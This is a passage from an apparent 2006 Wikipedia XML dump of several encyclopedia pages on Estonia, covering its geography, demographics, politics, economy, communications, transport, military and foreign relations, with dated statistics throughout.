''total:'' 633 km&lt;br /&gt;
''border countries:'' Latvia 339 km, Russia 294 km

'''Coastline:''' 3,794 km

'''Maritime claims:'''&lt;br /&gt;
''exclusive economic zone:'' limits fixed in coordination with neighboring states&lt;br /&gt;
''territorial sea:'' 12 nm

'''Elevation extremes:'''&lt;br /&gt;
''lowest point:'' Baltic Sea 0 m&lt;br /&gt;
''highest point:'' [[Suur Munamagi]] 318 m

==Resources and land use==
'''Natural resources:''' shale oil (kukersite), [[peat]], [[phosphorite]], [[amber]], [[cambrian blue clay]], limestone, [[dolomite]], arable land

'''Land use:'''&lt;br /&gt;
''arable land:'' 25%&lt;br /&gt;
''permanent crops:'' 0%&lt;br /&gt;
''permanent pastures:'' 11%&lt;br /&gt;
''forests and woodland:'' 44%&lt;br /&gt;
''other:'' 20% (1996 est.)

'''Irrigated land:''' 110 km² (1996 est.)

==Sources==
*[http://lcweb2.loc.gov/frd/cs/cshome.html Library of Congress, Country Studies]
*''CIA World Fact Book''

[[Category:Geography of Estonia| ]]
[[Category:Geography by country|Estonia]]]
[[fr:Géographie de l'Estonie]]
[[pt:Geografia da Estónia]]
[[fi:Luokka:Viron maantiede]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Estonia</title>
    <id>9389</id>
    <revision>
      <id>38633826</id>
      <timestamp>2006-02-07T17:01:48Z</timestamp>
      <contributor>
        <username>Charles Matthews</username>
        <id>12978</id>
      </contributor>
      <minor />
      <comment>sp</comment>
      <text xml:space="preserve">The name &quot;Eesti,&quot; or [[Estonia]], could be derived from the word &quot;[[Aesti|Aestii]],&quot; the name given by the ancient [[Germanic people]] to the peoples living northeast of the [[Vistula River]]. The Roman historian [[Gaius Cornelius Tacitus|Tacitus]] in [[98]] A.D. was the first to mention the &quot;Aestii&quot; people, and early [[Scandinavians]] called the land south of the [[Gulf of Finland]] ''Eistland'', and the people ''eistr''. [[Estonian language|Estonian]] and [[Finnish language|Finnish]] languages are very closely related, belonging to the same [[Finnic]] branch of the [[Finno-Ugric languages|Finno-Ugric]] language family. The two languages are mutually intelligible to native speakers. Both Estonian and Finnish are distantly related to the [[Ugric languages|Ugric]] [[Hungarian language|Hungarian]] language.

[[Estonians]] have strong ties to the [[Nordic]] countries and [[Germany]] stemming from the strong cultural and religious influences gained over centuries during [[Denmark|Danish]], German and [[Sweden|Swedish]] rule and settlement. This highly literate society places strong emphasis upon education, which is free and compulsory until age 16. The first known book in Estonian was printed in [[1525]].

Written with the [[Latin alphabet]], Estonian is the language of the Estonian people and the official language of the country. One-third of the standard vocabulary is derived from adding suffixes to root words. The oldest known examples of written Estonian originate in 13th century chronicles. During the [[Estonian SSR|Soviet era]], the [[Russian language|Russian]] language was imposed in parallel to, and often instead of, Estonian in official use.

Between [[1945]] and [[1989]] the share of ethnic Estonians in the population resident within currently defined boundaries of [[Estonia]] dropped from 96% to 61%, caused primarily by the [[Soviet]] program promoting mass immigration of urban industrial workers from [[Russia]], [[Ukraine]], and [[Belarus]], as well as by wartime emigration and [[Stalin]]'s mass deportations and executions. In the decade following the reconstitution of independence, large scale emigration by ethnic Russians and the removal of the Russian military bases in [[1994]] caused the proportion of ethnic Estonians in Estonia to increase from 61% to 68% in [[2003]].

Modern Estonia is, as a whole, multicultural, but geographically a largely ethnically homogeneous country. 13 of Estonia's 15 counties are over 80 percent ethnic Estonian, the most homogeneous being [[Hiiumaa]], where Estonians account for 98.4% of the population.
In the counties of [[Harju County|Harju]] (including the capital city, [[Tallinn]]) and [[Ida-Viru County|Ida-Viru]], however, Estonians make up 60% and 20% of the population, respectively. Ethnic [[Russians]] make up 25.7% of the total population, but account for 36% of the population in Harju county, and 70% of the population in Ida-Viru county.
 
==Population==
* 1,408,556 (July [[2003]] estimate)
* 1,431,471 (July 2000 estimate)
* 1,376,743 (last [[census]] [[March 31]], [[2000]])
* 1,356,045 (official, [[January 1]], 2003)
  
===Age structure===
*0-14 years: 18% (male 129,204; female 124,269)
*15-64 years: 68% (male 466,960; female 503,233)
*65 years and over: 14% (male 67,781; female 140,024) (2000 est.)

===Population growth rate===
*-0.59% (2000 est.)

===Birth rate===
*8.45 births/1,000 population (2000 est.)

===Death rate===
*13.55 deaths/1,000 population (2000 est.)

===Net migration rate===
*-0.79 migrant(s)/1,000 population (2000 est.)

===Sex ratio===
* at birth: 1.05 male(s)/female
*under 15 years: 1.04 male(s)/female
*15-64 years: 0.93 male(s)/female
*65 years and over: 0.48 male(s)/female
*total population: 0.87 male(s)/female (2000 est.)

===Infant mortality rate===
12.92 deaths/1,000 live births (2000 est.)

===Life expectancy at birth===
*total population: 69.45 years
*male: 63.4 years
*female: 75.79 years (2000 est.)

===Total fertility rate===
1.19 children born/woman (2000 est.)

==Nationality==
*noun: Estonian(s)
*adjective: Estonian

===Ethnic groups===
Estonian 68.4%, Russian 25.7%, Ukrainian 2.1%, Belarusian 1.2%, Finn 0.9%, other 2.3% (2003)

==Religion==
Traditional religion of the Estonians is the Christian belief in the form the Evangelical [[Lutheran]] confession (as in many other countries in Scandinavia).

Less than a third of the population define themselves as believers, of those the majority are Lutheran, whereas the Russian minority is Eastern Orthodox. Ancient equinoctial heathen traditions are held in high regard. Today, about 32 % of the population are members of a church or religious group, thereof:

* 14.8 % Estonian Evangelical Lutheran Church 
* 13.9 % Orthodox 
* ca. 6,000 Baptists 
* ca. 3,500 Roman-Catholics 

There are also a number of smaller Protestant and Jewish groups.

==Languages==
[[Estonian language|Estonian]] (official), [[Russian language|Russian]], [[Ukrainian language|Ukrainian]], [[English language|English]], [[Finnish language|Finnish]], other

===Literacy===
* age 15 and over can read and write
* total population: 100% (1998 est.)

:''See also :'' [[Estonia]]

[[Category:Demographics by country|Estonia]]
[[Category:Estonian society]]

[[es:Demografía de Estonia]]
[[pt:Demografia da Estónia]]
[[ru:Население Эстонии]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Estonia</title>
    <id>9390</id>
    <revision>
      <id>41125056</id>
      <timestamp>2006-02-25T05:12:42Z</timestamp>
      <contributor>
        <username>Unigolyn</username>
        <id>165192</id>
      </contributor>
      <text xml:space="preserve">{{Politics of Estonia}}
'''Politics of Estonia''' takes place in a framework of a [[parliamentary system|parliamentary]] [[representative democracy|representative democratic]] [[republic]], whereby the [[Prime Minister of Estonia]] is the [[head of government]], and of a pluriform multi-party system. [[Executive power]] is exercised byby the [[Council of Ministers of Estonia|Council of Ministers]] which is led by the [[Prime Minister of Estonia|Prime Minister]]. [[Legislative power]] is vested in both the [[government]] and parliament. The [[Judiciary]] is independent of the executive and the legislature.
Executive affairs of government are devised 

With the proclamation of Estonia's national independence in [[1918]], a parliamentary republic was formed. The Parliament elected a Riigivanem (president) who acted as the leader of the government and head of state. In 1991 the Republic of Estonia was restored on the basis of continuity with the constitution prior to 1938.

The contemporary Estonian government follows the principles of separation of power and its people elect a 101-member parliament every four years. Only Estonian citizens may participate in parliamentary elections. The Parliament chooses a president, who can be in office for a five year period for a maximum of two terms. The President is the Supreme Commander of the National Defence of Estonia. A party must gather 5% of the votes in order to become part of the Parliament. As a rule, the President asks the party leader who has collected the most votes to form the new government.

In the years shortly following the restoration of independence, there were dozens of parties to represent a population of only 1.3 million; at present 6–7 parties remain. The local authorities have developed in much the same direction. All permanent residents of voting age (18) may participate in local elections. Estonia does not have a state church, religious freedom is guaranteed by the constitution.

==Political developments since independence==
On [[June 28]], [[1992]], [[Estonia]]n voters approved the constitutional assembly's draft constitution and implementation act, which established a parliamentary government with a president as chief of state and with a government headed by a prime minister.

The [[Riigikogu]], a unicameral legislative body, is the highest organ of state authority. It initiates and approves legislation sponsored by the prime minister. The prime minister has full responsibility and control over his cabinet. Parliamentary and presidential elections were held on [[September 20]], [[1992]]. Approximately 68% of the country's 637,000 registered voters cast ballots. [[Lennart Meri]], an outstanding writer and former [[Estonian Minister of Foreign Affairs|Minister of Foreign Affairs]], won this election and became [[President of Estonia|president]]. He chose 32-year-old historian and Christian Democratic Party founder [[Mart Laar]] as prime minister.

In February [[1992]], and with amendments in January [[1995]], the [[Riigikogu]] renewed Estonia's [[1938]] citizenship law, which also provides equal civil protection to resident aliens.

In [[1996]], Estonia ratified a border agreement with [[Latvia]] and completed work with [[Russia]] on a technical border agreement. President [[Lennart Meri|Meri]] was re-elected in free and fair indirect elections in August and September in [[1996]]. During parliamentary elections in [[1999]], the seats in [[Riigikogu]] were divided as follows: the [[Estonian Centre Party|Centre Party]] received 28, the [[Pro Patria Union (Estonia)|Pro Patria Union]] 18, the [[Estonian Reform Party|Reform Party]] 18, the People's Party Moderates (election cartel between Moderates and People's Party) 17, Coalition Party 7, Country People's Party (now [[People's Union of Estonia|People's Union]]) 7, United People's Party's electoral cartel 6 seats. Pro Patria Union, the Reform Party, and the Moderates formed a government with [[Mart Laar]] as prime minister whereas the Centre Party with the Coalition Party, People's Union, United People's Party, and Members of Parliament who were not members of factions formed the opposition in the [[Riigikogu]].

The Moderates joined with the People's Party on [[27 November]] [[1999]], forming the People's Party Moderates.

In fall [[2001]] [[Arnold Rüütel]] became the President of the Republic of Estonia. In January [[2002]] [[Mart Laar|Prime Minister Laar]] stepped down and [[Arnold Rüütel|President Rüütel]] appointed [[Siim Kallas]] the new prime minister. On [[January 28]], [[2002]] the new government was formed from a coalition with The Reform Party and the [[Estonian Centre Party|Centre Party]]. 

Following [[Estonian parliamentary election, 2003|parliamentary elections]] in [[2003]], the seats were allocated as follows: Centre 28, [[Union for the Republic - Res Publica|Res Publica]] 28, the Reform Party 19, the People's Union 13, the Pro Patria Union 7 and the Moderates 6 seats. The United People's Party failed to meet the 5% threshold. Res Publica, the Reform Party and the Peoples Union formed the government. From this coalition President Rüütel chose the leader of the Res Publica party, [[Juhan Parts]], to form a government.

On [[14 September]] [[2003]], following negotiations that began in [[1998]], the citizens of Estonia were asked in a referendum whether or not they wished to join the [[European Union]]. With 64% of the electorate turning out the referendum passed with a 66.83% margin in favor, 33.17% against. Accession to the EU took place on [[1 May]] of the following year. 

In February [[2004]] the People's Party Moderates renamed themselves as [[Sotsiaaldemokraatlik Erakond|Social Democratic Party of Estonia]].

On the  [[8th May]], [[2004]], a defection of several Centre Party members to form a new party, the Social Liberal Party, over a row concerning the Centrists' &quot;no&quot; stance to joining the European Union changed the allocation of the seats in Riigikogu. Social-liberals had 8 seats, but a hope to form a new party disappeared by the [[10th May]] [[2005]], because most members in the social-liberal group joined other parties. 

On [[24 March]] Prime Minister [[Juhan Parts]] announced his resignation following a vote of [[no confidence]] in the Riigikogu against [[Estonian Minister of Justice|Minister of Justice]] [[Ken-Marti Vaher]], which was held on the [[21 March]]. Result: 54 pro (Social Democrats, Social Liberals, People's Union, Pro Patria Union and Reform Party) without no against or neutral MPs. 32 MPs (Res Publica and Centre Party) didn't take part.

On [[4 April]] [[2005]], President Rüütel nominated Reform party leader [[Andrus Ansip]] as Prime Minister designate by and asked him to form a new government, the 8th in 12 years. Ansip formed a government out of a coalition of his Reform Party with the People’s Union and the Centre Party. Approval by the Riigikogu, which by law must decide within 14 days of his nomination, came on [[12 April]] [[2005]]. Ansip was backed by 53 out of 101 members of the Estonian parliament. Forty deputies voted against his candidature.

The general consensus in the Estonian media seems to be that the new cabinet, on the level of competence, is not necessarily an improvement over the old one. The new government is colloquially called the [[Andrus Ansip's cabinet|&quot;Garlic Coalition&quot;]], because the agreement between the party leaders was reached at the Tallinn restaurant [http://www.restaurant.ee/Balthasar/index.php?lang=eng&amp;rid=1 &quot;Balthasar&quot;], which specialises in garlic dishes.

On [[18 May]], [[2005]], Estonia signed a border agreement with the Russian Federation in Moscow. The agreement was ratified by the Riigikogu on [[20 June]], [[2005]]. However, in the end of June the Russian Ministry of Foreign Affairs decided to nullify the agreement one-sidedly due to the fact that Riigikogu had attached a preambula to the agreement mentioning the Soviet occupation. The issue remains unsolved and is in focus of European level discussions.

[[Internet voting]] has already been used in local elections in Estonia, and the lawmakers in Estonia have authorized internet voting for parliamentary elections as well. [http://news.com.com/Estonia+pulls+off+nationwide+Net+voting/2100-1028_3-5898115.html (see COM)].

==Executive branch==
{{office-table}}
|[[President of Estonia|President]]
|[[Arnold Rüütel]]
|[[People's Union of Estonia|ERL]]
|[[8 October 2001]]
|-
|[[Prime Minister of Estonia|Prime Minister]]
|[[Andrus Ansip]]
|[[Estonian Reform Party|ER]]
|[[31 March]] [[2005]]
|-
|Coalition partners
|
|[[Estonian Centre Party|Kesk]], [[People's Union of Estonia|ERL]]
|
|}

The [[President of Estonia]] is elected by [[Parliament of Estonia|Parliament]] (''Riigikogu'') for a five-year term; if he or she does not secure two-thirds of the votes after three rounds of balloting, then an electoral assembly (made up of Parliament plus members of local governments) elects the president, choosing between the two candidates with the largest percentage of votes.
The [[Prime Minister of Estonia]] (''[[Estonian language|Estonian]]: Eesti Vabariigi Peaminister'') is the [[head of government]] of the [[Republic of Estonia]]. The prime minister is chosen by the [[President of Estonia|President]] and conferred by Parliament. This is usually the leader of the largest party or coalition in the Parliament. 
The activity of the government is directed by the Prime Minister, who is the actual political head of state. He does not head any specific ministry, but is, in accordance with the [[Constitution of Estonia|constitution]], the supervisor of the work of the government. The Prime Minister’s significance and role in the government and his relations with other ministries often depend on the position of the party led by the prime minister in vis-à-vis the coalition partners, and on how much influence the prime minister possesses within his own party. If the prime minister has a strong position within his party, and the government is made up solely of representatives of that party, he can enjoy considerable authority. In all crucial national questions, however, the final word rests with Riigikogu as the legislative power.

==Legislative branch==
The [[Riigikogu|State Council]] (''Riigikogu'') has 101 members, elected for a four year term by [[proportional representation]].

==Political parties and elections==
{{elect|List of political parties in Estonia|Elections in Estonia}}
{{main|Estonian parliamentary election, 2003}}
{{Estonian parliamentary election, 2003}}

==Judicial branch==
The supreme [[judiciary]] court is the National Court or ''Riigikohus'', with 19 justices whose chairman is appointed by the parliament for life on nomination by the president.

==Administrative divisions==
{{main|Counties of Estonia}}
Estonia numbers 15 main administrative subdivisions. Due to the geographical and demographic size of these subdivisions, they are to be considered counties rather than states (Estonian: pl. ''maakonnad''; sg. - ''maakond''). 

==International organization participation==
Estonia is member of the [[Bank for International Settlements|BIS]], [[Council of the Baltic Sea States|CBSS]], [[Council of Europe|CE]], [[Euro-Atlantic Partnership Council|EAPC]], [[European Bank for Reconstruction and Development|EBRD]], [[United Nations Economic Commission for Europe|ECE]], [[European Union|EU]], [[Food and Agriculture Organization|FAO]], [[International Atomic Energy Agency|IAEA]], [[International Bank for Reconstruction and Development|IBRD]], [[International Civil Aviation Organization|ICAO]], [[International Criminal Court|ICC]], [[ICFTU]], [[International Red Cross and Red Crescent Movement|ICRM]], [[IFC]], [[IFRCS]], [[IHO]], [[International Labour Organization|ILO]], [[International Monetary Fund|IMF]], [[International Maritime Organization|IMO]], [[Interpol]], [[IOC]], [[International Organization for Migration|IOM]] (observer), [[International Organization for Standardization|ISO]] (correspondent), [[International Telecommunication Union|ITU]], [[Organisation for the Prohibition of Chemical Weapons|OPCW]], [[Organization for Security and Co-operation in Europe|OSCE]], [[United Nations|UN]], [[UNCTAD]], [[UNESCO]], [[UNMIBH]], [[UNMIK]], [[UNTSO]], [[UPU]], [[World Customs Organization|WCO]], [[Western European Union|WEU]] (associate partner), [[World Health Organization|WHO]], [[World Intellectual Property Organization|WIPO]], [[World Meteorological Organization|WMO]], [[World Trade Organization|WTO]]

==Source==
[http://www.estonica.org/eng/lugu.html?menyy_id=411&amp;kateg=73&amp;alam=75&amp;leht=2 Estonica : Estonia in brief : Political system:]

[[Category:Politics of Estonia| ]]

[[pl:Ustrój polityczny Estonii]]
[[pt:Política da Estónia]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Estonia</title>
    <id>9391</id>
    <revision>
      <id>35643169</id>
      <timestamp>2006-01-18T05:38:05Z</timestamp>
      <contributor>
        <username>Dorado</username>
        <id>293396</id>
      </contributor>
      <comment>/* Economic overview */</comment>
      <text xml:space="preserve">{{Economy of Estonia table}}
[[Estonia]], as a new member of the [[World Trade Organization|WTO]], is steadily moving toward a modern market economy with increasing ties to the West, including the pegging of its currency to the [[euro]]. It acceded to the [[European Union]] in [[2004]]. There is a great degree of economic mobility and technological advancement. The state of the economy is greatly influenced by developments in [[Finland]], [[Sweden]], and [[Germany]], three major trading partners. The high current account deficit remains a concern, although the economy has high GDP growth (around 5% per annum).

==Economic overview==
For centuries until [[1920]], Estonian [[agriculture]] consisted of native peasants working large feudal-type estates held by ethnic [[Germany|German]] [[landlord]]s. In the decades prior to independence, centralized [[Czar]]ist rule had contributed a rather large industrial sector dominated by the world's largest cotton mill, a ruined post-war economy, and an inflated ruble [[currency]]. In years 1920 to [[1930]], Estonia entirely transformed its economy, despite considerable hardship, dislocation, and unemployment. Compensating the German landowners for their holdings, the government confiscated the estates and divided them into small farms which subsequently formed the basis of Estonian prosperity.

By [[1929]], a stable currency, the [[Estonian kroon|Kroon]] (or crown), was established. It is issued by the [[Bank of Estonia]], the country's [[central bank]]. Trade focused on the local market and the West, particularly Germany and the United Kingdom. Only 3% of all commerce was with the [[U.S.S.R.]]

The U.S.S.R.'s forcible annexation of Estonia in [[1940]] and the ensuing [[Nazi]] and [[Soviet Union|Soviet]] destruction during [[World War II]] crippled the Estonian economy. Post-war Sovietization of life continued with the integration of Estonia's economy and industry into the U.S.S.R.'s centrally planned structure. More than 56% of Estonian farms were [[collective|collectivized]] in the month of April [[1949]] alone. Moscow expanded on those Estonian industries which had locally available raw materials, such as oil-shale mining and phosphorites. As a laboratory for economic experiments, especially in industrial management techniques, Estonia enjoyed more success and greater prosperity than other regions under Soviet rule.

Since reestablishing independence, Estonia has styled itself as the gateway between East and West and aggressively pursued economic reform and integration with the West. Estonia's market reforms put it among the economic leaders in the former [[COMECON]] area. A balanced budget, flat-rate [[income tax]], [[free trade]] regime, fully convertible [[currency]], competitive commercial banking sector, and hospitable environment for foreign investment are hallmarks of Estonia's free-market-based economy. Estonia also has made excellent progress in regard to [[structural adjustment]].

In June 1992, Estonia replaced the [[Ruble]] with its own freely convertible currency, the [[Kroon]] (EEK).  A [[currency board]] was created and the new currency was pegged to the German Mark at the rate at 8 EEK for 1 DEM. When Germany introduced the [[Euro]] the peg was changed to 15.6466 Kroon for 1 Euro.  The Estonian government is intending to adopt the [[Euro]] as the country's currency on [[1 January]] [[2007]], and finalised the design of Estonia's Euro coins in late 2004.

The [[privatization]] of state-owned firms is virtually complete, with only the port and the main power plants remaining in government hands. The constitution requires a balanced budget, and the protection afforded by Estonia's intellectual property laws is on a par of that of Europe's. In early [[1992]] both liquidity problems and structural weakness stemming from the communist era precipitated a banking crisis. As a result, effective bankruptcy legislation was enacted and privately owned, well-managed banks emerged as market leaders. Today, near-ideal conditions for the banking sector exist. Foreigners are not restricted from buying bank shares or acquiring majority holdings.

[[Tallinn]]'s fully electronic [[Tallinn Stock Exchange|stock exchange]] opened in early 1996 and was bought out by Finland's [[Helsinki Stock Exchange]] in 2001. It is estimated that the unregistered economy provides almost 12% of annual GDP.

Estonia is nearly energy independent supplying over 90% of its electricity needs with locally mined oil shale. Alternative energy sources such as wood, peat, and biomass make up approximately 9% of primary energy production. Estonia imports needed [[petroleum]] products from western Europe and Russia. [[Oil shale]] energy, [[telecommunications]], textiles, chemical products, banking, services, food and fishing, timber, shipbuilding, electronics, and transportation are key sectors of the economy. The ice-free port of Muuga, near Tallinn, is a modern facility featuring good transshipment capability, a high-capacity grain elevator, chill/frozen storage, and brand-new oil tanker off-loading capabilities. The railroad, privatized by an international consortium in 2000, serves as a conduit between the West, Russia, and other points to the East.

Estonia still faces challenges. Agricultural privatization has caused severe problems for farmers needing collateral to be eligible for loans. The income differential between Tallinn and the rest of the country is widening. Standards of living have eroded for the large portion of the population on fixed pensions. The formerly industrial northeast section of Estonia is undergoing a severe economic depression as a result of plant closings.

During recent years the Estonian economy has continued to grow. Estonian GDP grew by 6.4% in the year [[2000]] and by 5.4% in 2001. Inflation declined modestly to 5.0% in the year 2000 (the estimate for 2001 is 4.8%). The unemployment rate in 2001 was 12,6%. Estonia joined the World Trade Organization in 1999 and the European Union (EU) in 2004.

== Foreign Trade ==

[[Image:SEB Estonia.jpg|thumb|right|250px|SEB Bank building in Tallinn, Estonia, one of the products of Estonia's [[Baltic Tiger]] boom]]
Estonia's liberal foreign trade regime, which contains few tariff or nontariff barriers, is nearly unique in Europe. Estonia also boasts a national currency which is freely convertible at a fixed exchange rate and conservative fiscal and monetary policies. Estonia has free trade regimes with [[European Union]] (which it is a member of) and [[EFTA]] countries and also with [[Ukraine]].

Estonia, being a small country of 1.4 million people, relies on its greatest natural asset--its location at the crossroads of East and West. Estonia lies just South of Finland and across the Baltic Sea from Sweden. To the East are the huge potential markets of northwest Russia. Having been a member of former Soviet Union, Estonians know how to do business in Russia and in other former Soviet countries. Estonia's modern transportation and communication links provide a safe and reliable bridge for trade with former Soviet Union and Nordic countries. According to the [[RIPE Network Coordination Centre]] (at http://www.ripe.net ), Estonia has the highest Internet connected hosts/population ratio in central and eastern Europe and also is ahead of most of the EU countries. Latest surveys indicate that 39% of the Estonian population regard themselves as Internet users. Twenty-five percent of the Estonian population conducts its everyday banking via [[Internet]].

==See also==
*[[Economy of Europe]]
*[[Estonia]]

 
[[Category:Economy of Estonia| ]]
[[Category:European Union member economies]]

[[es:Economía de Estonia]]
[[fr:Économie de l'Estonie]]
[[pt:Economia da Estónia]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Estonia</title>
    <id>9392</id>
    <revision>
      <id>29727528</id>
      <timestamp>2005-11-30T20:44:54Z</timestamp>
      <contributor>
        <username>Tedernst</username>
        <id>3700</id>
      </contributor>
      <comment>disambiguation link repair [[broadcast]] ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">'''[[Telephone]]s - main lines in use:'''
476,078 (year end 1998)

'''Telephones - mobile cellular:'''
850,000 (year end 2002)

'''Telephone system:'''
Foreign investment in the form of joint business ventures greatly improved telephone service.  [[Internet]] services are available throughout most of the country; there are about 150,000 unfilled subscriber requests. Usually, Estonia is considered to be the most advanced country in terms of communications in Eastern and Central [[Europe]].
&lt;br&gt;''domestic:''
local - the [[Estonian Ministry of Transport and Communications|Ministry of Transport and Communications]] is expanding cellular telephone services to form rural networks; intercity - highly developed [[fiber-optic cable|fiber-optic]] backbone (double loop) system presently serving at least 16 major cities (1998)
&lt;br&gt;''international:''
Fiber-optic cables to [[Finland]], [[Sweden]], [[Latvia]], and [[Russia]] provide worldwide packet switched service.  Two international switches are located in [[Tallinn]].

'''Radio [[Broadcasting|broadcast]] stations:'''
AM 3 (all AM stations inactive since July 1998), FM 82, shortwave 1 (1998)

'''Radios:'''
1.01 million (1997)

'''Television broadcast stations:'''
31 (plus five repeaters) (September 1995)

'''Televisions:'''
605,000 (1997)

'''[[Internet Service Provider]]s (ISPs):'''
6 (1999)

'''[[Country code]]:''' EE

:''See also :'' [[Estonia]]

[[Category:Communications by country|Estonia]]
[[Category:Communications in Estonia| ]]</text>
    </revision>
  </page>
  <page>
    <title>Transportation in Estonia</title>
    <id>9393</id>
    <revision>
      <id>40835547</id>
      <timestamp>2006-02-23T08:43:06Z</timestamp>
      <contributor>
        <ip>85.131.20.63</ip>
      </contributor>
      <comment>/* Baltic Sea */</comment>
      <text xml:space="preserve">== Railways ==
*total: 1,018 km common carrier lines only; does not include dedicated industrial lines
*broad gauge: 1,018 km 1.520-m gauge (132 km electrified) (1995)

=== Railway links with adjacent countries ===

* [[Transportation in Latvia|Latvia]] - yes - same 1524mm gauge
* [[Transportation in Russia|Russia]] - yes - same 1534mm gauge

== Highways ==
*total: 49,480 km
*paved: 10,935 km (including 75 km of [[expressway]]s)
*unpaved: 38,545 km (1998 est.)

== Pipelines ==

* natural gas 420 km (1992)

== Waterways ==

* 320 km perennially navigable

== Ports and harbors ==
=== Baltic Sea ===

* [[Haapsalu]], [[Kunda]], [[Muuga]]
* [[Paldiski]], [[Pärnu]], [[Tallinn]]

== Merchant marine ==
*total: 50 ships (1,000 GRT or over) totaling 306,264 GRT/293,083 DWT
*ships by type: (1999 est.)
**bulk 3
**cargo 20
**combination bulk 1
**container 5
**petroleum tanker 2
**roll-on/roll-off 13
**short-sea passenger 6

== Airports ==
=== Airports - with paved runways ===
*total: 5 (1997 est.)
*over 3,047 m: 1
*2,438 to 3,047 m: 1
*914 to 1,523 m: 3 (1997 est.)

== See also ==

* [[Estonia]]
* [[M/S Estonia]]


[[Category:Transportation in Estonia|*]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Estonia</title>
    <id>9394</id>
    <revision>
      <id>40146522</id>
      <timestamp>2006-02-18T14:12:39Z</timestamp>
      <contributor>
        <username>Pt</username>
        <id>91721</id>
      </contributor>
      <comment>/* Estonian Air Force (Õhuvägi) */ rm a space; wikified [[BALTNET]]</comment>
      <text xml:space="preserve">The '''Estonian Defence Forces''' consists of 5120 persons in uniform.

In [[2004]], [[Estonia]] joined the [[NATO]], which has been one of its priorities since the restoration of independence.

The 2002 state budget allocated 2% of [[gross domestic product]] for defence expenditures. The [[United States]] is among the countries with which Estonia has very intensive cooperation in the defence and security field.

&lt;table border=1 width=300 cellpadding=2 cellspacing=0 align=right&gt;
&lt;tr&gt;&lt;th colspan=2 align=center bgcolor=#aaaaff&gt;'''Estonian Defence Forces'''&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=2  align=center&gt;'''Military manpower''' &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Military age&lt;td&gt; 18 years of age &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Availability&lt;td&gt;''males age 15-49:'' 360,440 (2003 est.) &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Fit for military service&lt;td&gt; 283,278 (2003 est.) &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Reaching military age annually&lt;td&gt; ''males:''
11,123 (2003 est.) &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=2 align=center&gt;'''Military expenditures''' &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Dollar figure&lt;td&gt; $155 million (FY02) &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Percent of GDP&lt;td&gt; 2% (FY02) &lt;/td&gt;&lt;/tr&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

== Organisation ==
The Estonian Defence Forces consist of regular military units, the ''Kaitsevägi'' totalling 5120 officers and men, and a voluntary corps, the Defence League (''Kaitseliit'') with about 8100 soldiers. The Defence Forces are stationed within four defence districts with headquarters in [[Tallinn]], [[Rakvere]], [[Tartu]], [[Pärnu]].

Estonia cooperates with Latvia and Lithuania in the joint infantry battalion BALTBAT and naval squadron BALTRON which can be deployed for peacekeeping operations.

*Army
*Navy
*Air Force
*Defence League
*Border Guards

=== Estonian Army (Maavägi)===
The Estonian Army consists of 9 battalions:

*Kuperjanov Independent Infantry Battalion
*Pärnu Independent Infantry Battalion
*Peace Operations Centre
*Scouts Battalion
*Artillery Group
*Viru Independent Infantry Battalion
*Air Defence Battalion
*Independent Signal Battalion
*Independent Guard Battalion

===Estonian Navy (Merevägi)===
The [http://www.mil.ee/index_eng.php?s=merevagi Estonian Navy]has one naval base in  Miinisadam and operates one [[minesweeper (ship)|minesweeper]] [[division (military)|division]]:

*[http://www.mil.ee/index_eng.php?s=pitka EML Admiral Pitka] - command and support ship, ex-Danish Beskytteren, modified Hvidbjørnen-class 
* [[EML Ahti]] - cutter, ex-Danish Maagen class
* [[EML Sulev]] - minehunter, ex-German Lindau class
* [[EML Wambola]] - minehunter, ex-German Lindau class
* [[EML Vaindlo]] - minesweeper, ex-German Frauenlob class
* [[EML Olev]] - minesweeper, ex German Frauenlob class
* [[EML Ristna]] - patrol boat, ex-Finnish Rihtiniemi class
* [[EML Suurop]] - patrol boat, ex Finnish Rihtiniemi class

===Estonian Air Force (Õhuvägi)===
The Air Force has an air base in [[Ämari]] and operates two [[Antonov An-2]]s and four [[Robinson Helicopter|Robinson]] [[Robinson R44|R44]] helicopters. The Border Guard Aviation Group is based at [[Tallinn Airport]] and operates two [[L-410|Let L-410 UVP]]s and [[Mil Mi-8]] helicopters. Air defence batteries are equipped with 100 [[ZU-23-2]]s.
Estonian primary radar system is integrated with [[Baltic States]] radar system network [[BALTNET]].
[[NATO]] jets based in [[Lithuania]] are also involved in the patrolling and protection of Estonian air space.

==External links==
*[http://www.mil.ee/index_eng.php Estonian Defence Forces]
*[http://www.mod.gov.ee/index.php?setlang=eng Estonian Ministry of Defence]

{{NATO}}
[[Category:Military of Estonia| ]]

[[fr:Armée estonienne]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Estonia</title>
    <id>9395</id>
    <revision>
      <id>39374561</id>
      <timestamp>2006-02-12T19:20:57Z</timestamp>
      <contributor>
        <ip>83.121.2.141</ip>
      </contributor>
      <comment>disambiguation from [[FAO]] to [[Food and Agriculture Organization]] by the [[User:DabMachine|DabMachine]]</comment>
      <text xml:space="preserve">{{Politics of Estonia}}
Following restoration of independence from the [[Soviet Union]], [[Estonia]]'s immediate priority was the withdrawal of [[Russia|Russian]] (formerly Soviet) forces from Estonian territory. In [[August]] [[1994]], this was completed. However, relations with Moscow have remained strained because of the border treaty still not ratified by [[Russian Federation]].

Estonia maintains close ties with the other [[Baltic states]] and has been relatively successful in achieving wider European integration since independence.

